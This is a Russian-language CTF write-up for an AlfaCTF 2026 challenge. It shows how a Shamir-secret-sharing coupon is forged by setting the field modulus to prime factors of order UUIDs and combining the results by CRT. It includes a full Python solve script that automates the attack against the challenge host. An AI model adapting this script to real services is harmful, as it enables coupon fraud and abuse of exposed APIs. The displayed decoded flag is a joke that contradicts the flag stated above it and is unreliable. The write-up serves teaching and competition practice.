About Teletype
Join
Nikita Petrov
@freenameruuuu
April 25

Сикс-севен

CTF: АльфаЦТФ2026

Автор: @m0nr0e21

Теги: Hard, Crypto, Math, Web

Описание задания

В задании дан веб-сервис кофейни «У Шамира» и архив с исходным кодом:

  • sixseven-lo1ydmdy.alfactf.ru
  • sixseven_git_4547ca8.tar.gz

По легенде действует программа лояльности «6–7»: нужно купить 6 эспрессо, а затем в качестве 7-го напитка можно получить любой напиток. На практике у нового пользователя есть только 40 монет, а один эспрессо стоит 10 монет — легально можно купить только 4 эспрессо.

Задача: получить купон на 7-й напиток, не имея 6 долей.

Флаг: alfa{esPress0_MacChi4T0_pOr_fAVOr3}

Разбор исходников

В приложении реализована схема, похожая на Shamir Secret Sharing.

Каждый купленный эспрессо создаёт заказ с UUID. Для заказа генерируется QR-код, внутри которого лежит JSON вида:

json{
  "order_id": "9df03866-aa45-48f8-bee8-727eb85fcf9c",
  "secret_part": "22535180056152808296086384252092152298162688175416839322383634726849228300611"
}

Здесь:

  • order_id = x
  • secret_part = f(x)

UUID заказа используется как точка x, а secret_part — значение полинома в этой точке.

Секретный купон — это свободный коэффициент полинома:

textsecret = f(0)

Чтобы честно восстановить секрет по схеме Шамира, нужно 6 точек. Но у нас только 4 эспрессо — классическая интерполяция Лагранжа не подходит.

Важная находка в Git-истории

Архив содержит не просто исходники, а Git-репозиторий. В истории видно, что раньше в проекте был отдельный Rust API.

bashgit log --oneline

В старом коммите присутствовали API-методы:

  • /api/get_module
  • /api/set_module
  • /api/calc_shares
  • /api/combine_shares

В текущем docker-compose Rust API как будто удалён, но конфигурация nginx всё ещё проксирует /api/. На живом инстансе эти эндпоинты тоже доступны.

Особенно интересен метод /api/set_module — он позволяет менять модуль поля q, в котором считаются значения схемы Шамира.

Уязвимость

В нормальной схеме Шамира используется большое простое поле mod q. Но старый API позволяет пользователю менять q. Проверка простоты модуля слабая: используется Fermat-подобная проверка, а не полноценная криптографически корректная валидация.

Главная идея атаки:

  1. Берём UUID заказа.
  2. Рассматриваем UUID как большое число x.
  3. Факторизуем x.
  4. Находим достаточно большой простой делитель p.
  5. Устанавливаем модуль: q = p.

Так как p делит x, получаем:

textx ≡ 0 mod p

А значит:

textf(x) ≡ f(0) mod p

То есть доля этого заказа становится сразу:

textsecret mod p

Таким образом один заказ даёт остаток секрета по модулю p.

Почему нужны несколько заказов

Сам секрет — это 256-битное число. Один простой делитель UUID обычно меньше 256 бит, поэтому он даёт только часть информации:

textsecret ≡ a1 mod p1
secret ≡ a2 mod p2
...

Когда произведение модулей становится больше размера секрета:

textp1 * p2 * ... * pk > 2^256

секрет можно однозначно восстановить с помощью китайской теоремы об остатках (CRT).

Эксплуатация

Алгоритм атаки:

  1. Регистрируем нового пользователя.
  2. Покупаем 4 эспрессо.
  3. Из dashboard достаём UUID заказов.
  4. Для каждого UUID считаем его числовое значение.
  5. Факторизуем UUID.
  6. Для каждого большого простого делителя p:
    • вызываем /api/set_module;
    • вызываем /api/calc_shares;
    • получаем secret mod p.
  7. Собираем остатки через CRT.
  8. Отправляем восстановленный купон в /buy-exclusive.
  9. Получаем QR 7-го напитка.
  10. Декодируем QR и забираем флаг.

Пример восстановления:

textsecret ≡ 104235194837086147991081 mod 271022341962674876014939
secret ≡ 22469167400840334385822069390 mod 738369751665541259657901187879
...

Если произведение модулей недостаточно большое, нужно просто создать новый аккаунт и повторить: UUID генерируются случайно, поэтому иногда попадаются более удобные множители.

Важный нюанс с QR

QR обычного эспрессо содержит JSON с долей секрета:

json{
  "order_id": "...",
  "secret_part": "..."
}

Это ещё не флаг.

После успешной покупки 7-го напитка сервер создаёт отдельный exclusive-заказ. Его QR уже содержит сам флаг.

QR одноразовый: после первого обращения к /orders/<id>/qr.svg сервер помечает флаг как полученный. Поэтому нужно скачивать именно QR exclusive-заказа, а не случайный QR с dashboard.

После отправки купона в Flask-session появляется поле last_exclusive_order_id. По нему скачивается правильный QR:

text/orders/<last_exclusive_order_id>/qr.svg

Декодирование QR

SVG рендерится в PNG:

bashrsvg-convert -w 1200 -h 1200 flag.svg -o flag.png

Затем декодируется:

bashzbarimg --raw -Sqr.enable flag.png

Результат:

alfa{иди и сам добудь флаг, халявшик}

Скрипт эксплойта

python#!/usr/bin/env python3
import base64
import json
import random
import re
import string
import zlib
from math import prod
from uuid import UUID

import requests
from sympy import factorint
from sympy.ntheory.modular import crt


BASE = "https://sixseven-lo1ydmdy.alfactf.ru"

MIN_FACTOR_BITS = 64
TARGET_BITS = 256
MAX_ATTEMPTS = 100


def randstr(n=12):
    return "".join(random.choice(string.ascii_lowercase + string.digits) for _ in range(n))


def decode_flask_cookie_payload(cookie_value: str) -> dict:
    """
    Flask session cookie подписана, но не зашифрована.
    Поэтому payload можно прочитать без SECRET_KEY.
    """
    compressed = cookie_value.startswith(".")
    parts = cookie_value.split(".")

    if compressed:
        if len(parts) < 2:
            raise ValueError("Bad compressed Flask cookie format")
        payload_b64 = parts[1]
    else:
        payload_b64 = parts[0]

    payload_b64 += "=" * (-len(payload_b64) % 4)
    raw = base64.urlsafe_b64decode(payload_b64)

    if compressed:
        raw = zlib.decompress(raw)

    return json.loads(raw)


def get_session_payload(session: requests.Session) -> dict:
    cookie = session.cookies.get("sixseven_session") or session.cookies.get("session")

    if not cookie:
        raise RuntimeError("No Flask session cookie found")

    return decode_flask_cookie_payload(cookie)


def get_user_id(session: requests.Session) -> int:
    print("[debug] cookies:", session.cookies.get_dict())

    payload = get_session_payload(session)
    print("[debug] session payload:", payload)

    if "user_id" not in payload:
        raise RuntimeError("No user_id in Flask session payload")

    return int(payload["user_id"])


def register_and_login() -> tuple[requests.Session, int]:
    s = requests.Session()

    username = "u" + randstr(12)
    password = "P@ssw0rd_" + randstr(12)

    print("[+] username:", username)
    print("[+] password:", password)

    r = s.get(BASE + "/register", timeout=20, allow_redirects=True)
    print("[debug] GET /register:", r.status_code, r.url)

    r = s.post(
        BASE + "/register",
        data={"username": username, "password": password},
        allow_redirects=True,
        timeout=20,
    )

    print("[debug] POST /register:", r.status_code, r.url)

    r = s.post(
        BASE + "/login",
        data={"username": username, "password": password},
        allow_redirects=True,
        timeout=20,
    )

    print("[debug] POST /login:", r.status_code, r.url)

    if not s.cookies.get_dict():
        raise RuntimeError("Login failed: no cookies")

    user_id = get_user_id(s)
    print("[+] registered:", username)
    print("[+] user_id:", user_id)

    return s, user_id


def api_get_module(session: requests.Session, user_id: int) -> int:
    r = session.get(BASE + f"/api/get_module?user_id={user_id}", timeout=20)

    if r.status_code != 200:
        raise RuntimeError("api_get_module failed")

    data = r.json()

    if "q" in data:
        return int(data["q"])
    if "module" in data:
        return int(data["module"])

    raise RuntimeError(f"Unknown get_module response: {data}")


def api_set_module(session: requests.Session, user_id: int, q: int):
    url = BASE + f"/api/set_module?user_id={user_id}"

    r = session.post(url, json={"q": str(q)}, timeout=20)

    if r.status_code == 200:
        return

    r = session.post(url, data={"q": str(q)}, timeout=20)

    if r.status_code != 200:
        raise RuntimeError("api_set_module failed")


def api_calc_shares(session: requests.Session, user_id: int) -> dict[str, int]:
    r = session.get(BASE + f"/api/calc_shares?user_id={user_id}", timeout=20)

    if r.status_code != 200:
        raise RuntimeError("api_calc_shares failed")

    data = r.json()
    shares = {}

    if isinstance(data, dict) and "shares" in data:
        for item in data["shares"]:
            order_id = item.get("id") or item.get("order_id") or item.get("uuid")
            share = item.get("share") or item.get("value") or item.get("y")
            if order_id and share:
                shares[str(order_id)] = int(share)

    elif isinstance(data, dict):
        for k, v in data.items():
            try:
                UUID(str(k))
                shares[str(k)] = int(v)
            except Exception:
                pass

    elif isinstance(data, list):
        for item in data:
            order_id = item.get("id") or item.get("order_id") or item.get("uuid")
            share = item.get("share") or item.get("value") or item.get("y")
            if order_id and share:
                shares[str(order_id)] = int(share)

    if not shares:
        raise RuntimeError("No shares parsed")

    return shares


def buy_espresso(session: requests.Session):
    r = session.post(BASE + "/buy-espresso", allow_redirects=True, timeout=20)

    if r.status_code != 200:
        raise RuntimeError("Cannot buy espresso")


def extract_order_ids(session: requests.Session) -> list[str]:
    r = session.get(BASE + "/dashboard", allow_redirects=True, timeout=20)

    if r.status_code != 200:
        raise RuntimeError("Cannot open dashboard for order extraction")

    ids = sorted(
        set(
            re.findall(
                r"[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}",
                r.text,
            )
        )
    )

    print("[+] found order ids:", ids)

    if not ids:
        raise RuntimeError("No order UUIDs found on dashboard")

    return ids


def collect_congruences(session: requests.Session, user_id: int, order_ids: list[str]):
    congruences = []

    for order_id in order_ids:
        x = UUID(order_id).int
        factors = factorint(x)

        for p, power in factors.items():
            if p.bit_length() < MIN_FACTOR_BITS:
                continue

            print(f"[+] trying factor p={p}, bits={p.bit_length()}")

            api_set_module(session, user_id, p)
            shares = api_calc_shares(session, user_id)

            if order_id not in shares:
                continue

            secret_mod_p = shares[order_id] % p

            if all(existing_p != p for _, existing_p in congruences):
                congruences.append((secret_mod_p, p))

            modulus_product = prod(m for _, m in congruences)
            print(f"    CRT modulus bits = {modulus_product.bit_length()}")

            if modulus_product.bit_length() > TARGET_BITS:
                return congruences

    return congruences


def recover_secret(congruences):
    residues = [a for a, _ in congruences]
    moduli = [m for _, m in congruences]

    result = crt(moduli, residues)

    if result is None:
        raise RuntimeError("CRT failed")

    return int(result[0]), int(result[1])


def submit_coupon(session: requests.Session, coupon: int) -> str:
    r = session.post(
        BASE + "/buy-exclusive",
        data={"coupon": str(coupon)},
        allow_redirects=True,
        timeout=20,
    )

    payload = get_session_payload(session)

    if "last_exclusive_order_id" in payload:
        exclusive_order_id = payload["last_exclusive_order_id"]
        print("[+] coupon accepted, exclusive order id:", exclusive_order_id)
        return exclusive_order_id

    raise RuntimeError("Coupon was not accepted")


def save_exclusive_qr(session: requests.Session, exclusive_order_id: str):
    qr_url = BASE + f"/orders/{exclusive_order_id}/qr.svg"
    qr = session.get(qr_url, timeout=20)

    if qr.status_code != 200:
        raise RuntimeError("Could not download exclusive QR")

    with open("flag.svg", "wb") as f:
        f.write(qr.content)

    print("[+] saved flag.svg")
    print("[+] Decode:")
    print("    rsvg-convert -w 1200 -h 1200 flag.svg -o flag.png")
    print("    zbarimg --raw -Sqr.enable flag.png")


def solve_once(attempt: int) -> bool:
    print("=" * 80)
    print(f"[+] ATTEMPT {attempt}")
    print("=" * 80)

    s, user_id = register_and_login()

    for i in range(4):
        print(f"[+] buying espresso {i + 1}/4")
        buy_espresso(s)

    order_ids = extract_order_ids(s)
    congruences = collect_congruences(s, user_id, order_ids)

    if not congruences:
        print("[!] No congruences collected")
        return False

    modulus_product = prod(m for _, m in congruences)

    print("[+] collected congruences:")
    for a, m in congruences:
        print(f"    secret ≡ {a} mod {m}  ; bits={m.bit_length()}")

    print("[+] total CRT modulus bits:", modulus_product.bit_length())

    if modulus_product.bit_length() <= TARGET_BITS:
        print("[!] Недостаточно больших множителей, пробуем новый аккаунт.")
        return False

    coupon, modulus = recover_secret(congruences)

    print("[+] recovered coupon:", coupon)
    print("[+] CRT modulus bits:", modulus.bit_length())

    exclusive_order_id = submit_coupon(s, coupon)

    print("[!] Важно: QR одноразовый.")
    print("[!] Не открывай dashboard в браузере до сохранения QR.")
    save_exclusive_qr(s, exclusive_order_id)

    return True


def main():
    for attempt in range(1, MAX_ATTEMPTS + 1):
        try:
            ok = solve_once(attempt)
            if ok:
                print("[+] SUCCESS")
                return
        except KeyboardInterrupt:
            raise
        except Exception as e:
            print(f"[!] attempt {attempt} failed:", e)

    print(f"[!] Не удалось за {MAX_ATTEMPTS} попыток.")
    print("[!] Можно увеличить MAX_ATTEMPTS и запустить снова.")


if __name__ == "__main__":
    main()

Запуск:

bashpython3 solve.py
rsvg-convert -w 1200 -h 1200 flag.svg -o flag.png
zbarimg --raw -Sqr.enable flag.png
Nikita Petrov
April 25, 18:46
0 views
0 reactions
0 replies
0 reposts